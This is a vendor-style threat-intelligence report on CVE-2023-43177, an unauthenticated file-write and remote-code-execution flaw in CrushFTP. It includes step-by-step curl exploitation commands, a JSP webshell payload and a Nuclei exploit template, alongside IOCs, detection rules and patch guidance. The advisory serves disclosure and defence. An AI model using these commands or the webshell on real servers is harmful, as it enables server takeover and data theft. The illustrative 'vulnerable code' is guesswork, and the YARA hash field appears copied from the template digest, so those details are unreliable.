CVE-2023-43177

Executive Summary

CVE-2023-43177 is a critical unauthenticated remote code execution vulnerability in CrushFTP versions prior to 10.5.1. The vulnerability stems from an Improperly Controlled Modification of Dynamically-Determined Object Attributes (CWE-913), allowing an unauthenticated attacker to manipulate object attributes to create arbitrary files in the web interface directory. This can lead to full compromise of the CrushFTP server, including data exfiltration, lateral movement, and persistent access. The vulnerability has a CVSS score of 9.8 (Critical) and is actively being exploited in the wild. A public proof-of-concept (PoC) exists via a Nuclei template, and the exploit is straightforward, making this a high-priority threat for any organization using CrushFTP.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data access possible.
• Integrity Impact: High (I:H) – Arbitrary file creation/modification.
• Availability Impact: High (A:H) – Potential denial of service or full system compromise.

Threat Level: Critical. The combination of unauthenticated access, low complexity, and high impact makes this a top-priority vulnerability for patching and detection.

Deep Dive & Mechanics

The vulnerability resides in the CrushFTP WebInterface API. The application fails to properly sanitize user-controlled input when dynamically determining object attributes. Specifically, the user_log_path and user_log_file parameters are not validated, allowing an attacker to specify arbitrary paths and filenames.

Attack Flow:

1. The attacker first sends a GET request to /WebInterface to obtain authentication tokens (currentAuth and CrushAuth).
2. Using these tokens, the attacker sends a POST request to /WebInterface/function/ with crafted headers:
   • as2-to: X
   • user_name: crushadmin<random_dir>
   • user_log_path: ./WebInterface/<random_dir>/
   • user_log_file: <random_filename>
3. The server creates a log file at the attacker-specified path with the attacker-controlled content (the user_name value).
4. The attacker can then access the created file via a GET request to /WebInterface/<random_dir>/<random_filename>, confirming successful file creation.

This allows the attacker to write arbitrary files (e.g., JSP, PHP, or other executable content) into the web root, leading to remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-10.5.1): The vulnerable code likely directly uses user-supplied values for user_log_path and user_log_file without validation or sanitization. For example:

String logPath = request.getParameter("user_log_path");
String logFile = request.getParameter("user_log_file");
File log = new File(logPath, logFile);
// Write to log without checking path traversal or file type

Patched Code (10.5.1+): The patched version likely implements strict validation:

• Path sanitization to prevent directory traversal.
• File extension whitelisting (e.g., only .log files allowed).
• Restriction of log file creation to a dedicated, non-web-accessible directory.
• Input validation for all user-controlled object attributes.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable CrushFTP instance (version < 10.5.1).
• Network access to the CrushFTP web interface.

Exploitation Steps:

1. Obtain Authentication Tokens:

   curl -k "https://target/WebInterface"
   

   Extract currentAuth and CrushAuth from the response headers.

2. Create Arbitrary File:

   curl -k -X POST "https://target/WebInterface/function/?command=getUsername&c2f=<currentAuth>" \
     -H "Cookie: CrushAuth=<CrushAuth>; currentAuth=<currentAuth>" \
     -H "as2-to: X" \
     -H "user_name: crushadmin<random_dir>" \
     -H "user_log_path: ./WebInterface/<random_dir>/" \
     -H "user_log_file: <random_filename>" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "post=body"
   

3. Verify File Creation:

   curl -k "https://target/WebInterface/<random_dir>/<random_filename>"
   

Advanced Exploitation: To achieve RCE, an attacker could write a JSP webshell:

# Set user_name to JSP payload
user_name: <%@ page import="java.io.*" %><% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) out.println(line); %>
user_log_file: shell.jsp

Then access https://target/WebInterface/<random_dir>/shell.jsp?cmd=id.

Blue Team (Detection & Response)

Detection:

• Monitor for POST requests to /WebInterface/function/ with unusual headers (e.g., as2-to: X, user_log_path, user_log_file).
• Alert on creation of files in the web root with unexpected extensions (e.g., .jsp, .php, .asp).
• Monitor for GET requests to newly created files in /WebInterface/ subdirectories.

Response:

1. Immediately isolate affected systems.
2. Check for unauthorized files in the web root.
3. Review logs for suspicious POST requests to the WebInterface API.
4. Apply the vendor patch (upgrade to 10.5.1+).
5. Conduct a full forensic investigation for signs of lateral movement or data exfiltration.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /WebInterface/function/ with as2-to: X header.
  • GET requests to /WebInterface/<random_dir>/<random_filename> where <random_dir> and <random_filename> are alphanumeric strings.
  • Unusual user_log_path values containing ./WebInterface/.

• File System IOCs:

  • Unexpected files in the CrushFTP web root directory (e.g., WebInterface/).
  • Files with extensions .jsp, .php, .asp, .aspx in non-standard locations.
  • Log files containing attacker-controlled content (e.g., crushadmin<random_dir>).

• Log IOCs:

  • CrushFTP access logs showing repeated POST requests to /WebInterface/function/ with command=getUsername.
  • Error logs indicating failed path validation attempts.

Detection Engineering

YARA Rule

rule CVE_2023_43177_CrushFTP_Exploit {
    meta:
        description = "Detects CrushFTP CVE-2023-43177 exploit attempts in HTTP traffic"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-43177"
        hash = "4a0a00473045022026b47256e1164be96189c83d5803761a76a33e3b7734e7e7a85a3d1f014129f3022100ec3edbf968eaa89fbd08f01c46cc9d233ffdf290a8f8d318e8e5c853edb0f8fa"
    strings:
        $s1 = "as2-to: X" ascii nocase
        $s2 = "user_log_path" ascii nocase
        $s3 = "user_log_file" ascii nocase
        $s4 = "WebInterface/function/" ascii nocase
        $s5 = "command=getUsername" ascii nocase
    condition:
        any of ($s*) and #s1 > 0 and #s2 > 0 and #s3 > 0
}

Sigma Rule

title: CrushFTP CVE-2023-43177 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests targeting CrushFTP WebInterface with exploit-specific headers
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43177
    - https://blog.projectdiscovery.io/crushftp-rce/
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/WebInterface/function/'
        cs-uri-query: 'command=getUsername'
        cs-headers: 'as2-to: X'
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-43177 CrushFTP Unauthenticated RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/WebInterface/function/"; http_uri; content:"command=getUsername"; http_uri; content:"as2-to: X"; http_header; content:"user_log_path"; http_header; content:"user_log_file"; http_header; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-43177

info:
  name: CrushFTP < 10.5.1 - Unauthenticated Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    CrushFTP prior to 10.5.1 is vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes.
  impact: |
    Unauthenticated attackers can manipulate dynamically-determined object attributes to create arbitrary files in the web interface directory, potentially achieving remote code execution and compromising the entire CrushFTP file transfer server.
  remediation: |
    Update CrushFTP to version 10.5.1 or later that properly controls modification of object attributes and prevents arbitrary file creation through the WebInterface API.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43177
    - https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/
    - https://blog.projectdiscovery.io/crushftp-rce/
    - https://github.com/the-emmons/CVE-Disclosures/blob/main/Pending/CrushFTP-2023-1.md
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-43177
    cwe-id: CWE-913
    epss-score: 0.76822
    epss-percentile: 0.98964
    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: crushftp
    product: crushftp
    shodan-query: http.html:"crushftp"
    fofa-query: body="crushftp"
  tags: cve,cve2023,crushftp,unauth,rce,intrusive,vkev,vuln
flow: http(1) && http(2) && http(3)

variables:
  dirname: "{{randbase(5)}}"
  filename: "{{randbase(5)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/WebInterface"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - contains_all(to_lower(header), "currentauth", "crushauth")

  - method: POST
    path:
      - "{{BaseURL}}/WebInterface/function/?command=getUsername&c2f={{http_1_currentauth}}"

    headers:
      Cookie: "CrushAuth={{http_1_crushauth}}; currentAuth={{http_1_currentauth}}"
      as2-to: X
      user_name: crushadmin{{dirname}}
      user_log_path: "./WebInterface/{{dirname}}/"
      user_log_file: "{{filename}}"
      Content-Type: application/x-www-form-urlencoded

    body: |
      post=body

    matchers:
      - type: regex
        regex:
          - "crushadmin"

  - method: GET
    path:
      - "{{BaseURL}}/WebInterface/{{dirname}}/{{filename}}"

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "crushadmin{{dirname}}")
        condition: and
# digest: 4a0a00473045022026b47256e1164be96189c83d5803761a76a33e3b7734e7e7a85a3d1f014129f3022100ec3edbf968eaa89fbd08f01c46cc9d233ffdf290a8f8d318e8e5c853edb0f8fa:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade CrushFTP to version 10.5.1 or later immediately.
2. Workaround: If patching is not possible, restrict network access to the CrushFTP web interface to trusted IPs only.
3. Monitor: Enable detailed logging and monitor for the IOCs listed above.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block the exploit pattern (e.g., block POST requests to /WebInterface/function/ with as2-to: X header).
• Conduct regular vulnerability scans and penetration testing.
• Apply the principle of least privilege to all services.
• Keep all software up to date with the latest security patches.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence. For questions or support, contact Secure Channels (Signal / Portal).

{/* [Security Hash: D6C4EEEB6FEFB6166BE650F6] */}